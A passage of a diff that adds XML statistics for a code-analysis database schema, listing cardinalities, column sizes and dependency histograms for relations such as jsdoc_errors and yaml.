+<a>35</a> +<b>36</b> +<v>1</v> +</b> +<b> +<a>55</a> +<b>56</b> +<v>1</v> +</b> +<b> +<a>90</a> +<b>91</b> +<v>1</v> +</b> +<b> +<a>287</a> +<b>288</b> +<v>2</v> +</b> +<b> +<a>301</a> +<b>302</b> +<v>1</v> +</b> +<b> +<a>310</a> +<b>311</b> +<v>1</v> +</b> +<b> +<a>314</a> +<b>315</b> +<v>1</v> +</b> +<b> +<a>524</a> +<b>525</b> +<v>1</v> +</b> +<b> +<a>583</a> +<b>584</b> +<v>1</v> +</b> +<b> +<a>890</a> +<b>891</b> +<v>1</v> +</b> +<b> +<a>17717</a> +<b>17718</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>5</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>13</a> +<b>14</b> +<v>1</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>51</a> +<b>52</b> +<v>1</v> +</b> +<b> +<a>57</a> +<b>58</b> +<v>1</v> +</b> +<b> +<a>86</a> +<b>87</b> +<v>1</v> +</b> +<b> +<a>89</a> +<b>90</b> +<v>1</v> +</b> +<b> +<a>104</a> +<b>105</b> +<v>1</v> +</b> +<b> +<a>155</a> +<b>156</b> +<v>1</v> +</b> +<b> +<a>194</a> +<b>195</b> +<v>1</v> +</b> +<b> +<a>696</a> +<b>697</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19985</v> +</b> +<b> +<a>2</a> +<b>16</b> +<v>1054</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>20644</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>395</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19985</v> +</b> +<b> +<a>2</a> +<b>16</b> +<v>1054</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19997</v> +</b> +<b> +<a>2</a> +<b>7</b> +<v>1042</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>4</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>32</a> +<b>33</b> +<v>1</v> +</b> +<b> +<a>93</a> +<b>94</b> +<v>1</v> +</b> +<b> +<a>165</a> +<b>166</b> +<v>1</v> +</b> +<b> +<a>340</a> +<b>341</b> +<v>1</v> +</b> +<b> +<a>750</a> +<b>751</b> +<v>1</v> +</b> +<b> +<a>21021</a> +<b>21022</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>13</a> +<b>14</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>4</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>32</a> +<b>33</b> +<v>1</v> +</b> +<b> +<a>93</a> +<b>94</b> +<v>1</v> +</b> +<b> +<a>165</a> +<b>166</b> +<v>1</v> +</b> +<b> +<a>340</a> +<b>341</b> +<v>1</v> +</b> +<b> +<a>750</a> +<b>751</b> +<v>1</v> +</b> +<b> +<a>21021</a> +<b>21022</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1</v> +</b> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +<b> +<a>42</a> +<b>43</b> +<v>1</v> +</b> +<b> +<a>103</a> +<b>104</b> +<v>1</v> +</b> +<b> +<a>1378</a> +<b>1379</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>713</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>271</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>105</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>110</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>111</v> +</b> +<b> +<a>12</a> +<b>77</b> +<v>109</v> +</b> +<b> +<a>77</a> +<b>2754</b> +<v>28</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1446</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>713</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>271</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>105</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>110</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>112</v> +</b> +<b> +<a>12</a> +<b>78</b> +<v>110</v> +</b> +<b> +<a>78</a> +<b>2747</b> +<v>26</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1356</v> +</b> +<b> +<a>2</a> +<b>15</b> +<v>91</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc_record_field_name</name> +<cardinality>241</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>90</v> +</e> +<e> +<k>idx</k> +<v>15</v> +</e> +<e> +<k>name</k> +<v>123</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>47</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>19</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>8</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>8</v> +</b> +<b> +<a>7</a> +<b>16</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>47</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>19</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>8</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>8</v> +</b> +<b> +<a>7</a> +<b>16</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>3</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>4</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>1</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>1</v> +</b> +<b> +<a>24</a> +<b>25</b> +<v>1</v> +</b> +<b> +<a>43</a> +<b>44</b> +<v>1</v> +</b> +<b> +<a>90</a> +<b>91</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>2</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>3</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>1</v> +</b> +<b> +<a>13</a> +<b>14</b> +<v>1</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>1</v> +</b> +<b> +<a>29</a> +<b>30</b> +<v>1</v> +</b> +<b> +<a>37</a> +<b>38</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>65</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>40</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>6</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>10</v> +</b> +<b> +<a>9</a> +<b>25</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>87</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>34</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>jsdoc_prefix_qualifier</name> +<cardinality>823</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>823</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>jsdoc_has_new_parameter</name> +<cardinality>22</cardinality> +<columnsizes> +<e> +<k>fn</k> +<v>22</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>jsdoc_errors</name> +<key>id</key> +<cardinality>1658</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1658</v> +</e> +<e> +<k>tag</k> +<v>1460</v> +</e> +<e> +<k>message</k> +<v>203</v> +</e> +<e> +<k>tostring</k> +<v>89</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1658</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1658</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1658</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1262</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>198</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1262</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>198</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1262</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>198</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>144</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>27</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>16</v> +</b> +<b> +<a>7</a> +<b>347</b> +<v>16</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>144</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>27</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>16</v> +</b> +<b> +<a>7</a> +<b>347</b> +<v>16</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>203</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>48</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>10</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>6</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>7</v> +</b> +<b> +<a>11</a> +<b>27</b> +<v>7</v> +</b> +<b> +<a>34</a> +<b>347</b> +<v>7</v> +</b> +<b> +<a>477</a> +<b>478</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>48</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>10</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>6</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>7</v> +</b> +<b> +<a>11</a> +<b>27</b> +<v>7</v> +</b> +<b> +<a>34</a> +<b>347</b> +<v>7</v> +</b> +<b> +<a>477</a> +<b>478</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>66</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>6</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>7</v> +</b> +<b> +<a>8</a> +<b>25</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>yaml</name> +<key>id</key> +<cardinality>885</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>885</v> +</e> +<e> +<k>kind</k> +<v>4</v> +</e> +<e> +<k>parent</k> +<v>204</v> +</e> +<e> +<k>idx</k> +<v>25</v> +</e> +<e> +<k>tag</k> +<v>8</v> +</e> +<e> +<k>tostring</k> +<v>318</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>885</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>885</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>885</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>885</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>885</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>35</a> +<b>36</b> +<v>1</v> +</b> +<b> +<a>149</a> +<b>150</b> +<v>1</v> +</b> +<b> +<a>700</a> +<b>701</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>33</a> +<b>34</b> +<v>1</v> +</b> +<b> +<a>90</a> +<b>91</b> +<v>1</v> +</b> +<b> +<a>183</a> +<b>184</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>25</a> +<b>26</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>67</a> +<b>68</b> +<v>1</v> +</b> +<b> +<a>240</a> +<b>241</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>72</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>35</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>29</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>14</v> +</b> +<b> +<a>12</a> +<b>21</b> +<v>17</v> +</b> +<b> +<a>22</a> +<b>25</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>131</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>43</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>30</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>72</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>35</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>29</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>14</v> +</b> +<b> +<a>12</a> +<b>21</b> +<v>17</v> +</b> +<b> +<a>22</a> +<b>25</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>120</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>41</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>36</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>parent</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>33</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>72</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>35</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>5</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>24</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>14</v> +</b> +<b> +<a>12</a> +<b>14</b> +<v>16</v> +</b> +<b> +<a>16</a> +<b>23</b> +<v>3</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>20</b> +<v>2</v> +</b> +<b> +<a>20</a> +<b>25</b> +<v>2</v> +</b> +<b> +<a>25</a> +<b>33</b> +<v>2</v> +</b> +<b> +<a>33</a> +<b>56</b> +<v>2</v> +</b> +<b> +<a>61</a> +<b>64</b> +<v>2</v> +</b> +<b> +<a>95</a> +<b>100</b> +<v>2</v> +</b> +<b> +<a>149</a> +<b>172</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>14</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>6</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>7</v> +</b> +<b> +<a>5</a> +<b>20</b> +<v>2</v> +</b> +<b> +<a>20</a> +<b>25</b> +<v>2</v> +</b> +<b> +<a>25</a> +<b>33</b> +<v>2</v> +</b> +<b> +<a>33</a> +<b>56</b> +<v>2</v> +</b> +<b> +<a>61</a> +<b>64</b> +<v>2</v> +</b> +<b> +<a>95</a> +<b>100</b> +<v>2</v> +</b> +<b> +<a>149</a> +<b>172</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tag</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>5</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>idx</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>2</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>2</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>1</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>2</v> +</b> +<b> +<a>28</a> +<b>31</b> +<v>2</v> +</b> +<b> +<a>52</a> +<b>56</b> +<v>2</v> +</b> +<b> +<a>87</a> +<b>88</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>1</v> +</b> +<b> +<a>26</a> +<b>27</b> +<v>1</v> +</b> +<b> +<a>35</a> +<b>36</b> +<v>1</v> +</b> +<b> +<a>149</a> +<b>150</b> +<v>1</v> +</b> +<b> +<a>654</a> +<b>655</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>25</a> +<b>26</b> +<v>1</v> +</b> +<b> +<a>33</a> +<b>34</b> +<v>1</v> +</b> +<b> +<a>90</a> +<b>91</b> +<v>1</v> +</b> +<b> +<a>183</a> +<b>184</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>1</v> +</b> +<b> +<a>9</a> +<b>10</b> +<v>1</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>1</v> +</b> +<b> +<a>23</a> +<b>24</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tag</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>13</a> +<b>14</b> +<v>1</v> +</b> +<b> +<a>67</a> +<b>68</b> +<v>1</v> +</b> +<b> +<a>223</a> +<b>224</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>209</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>42</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>29</v> +</b> +<b> +<a>6</a> +<b>15</b> +<v>25</v> +</b> +<b> +<a>15</a> +<b>18</b> +<v>13</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>318</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>213</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>41</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>27</v> +</b> +<b> +<a>6</a> +<b>15</b> +<v>25</v> +</b> +<b> +<a>15</a> +<b>18</b> +<v>12</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>272</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>34</v> +</b> +<b> +<a>3</a> +<b>10</b> +<v>12</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>tostring</src> +<trg>tag</trg> +<val> +<hist> 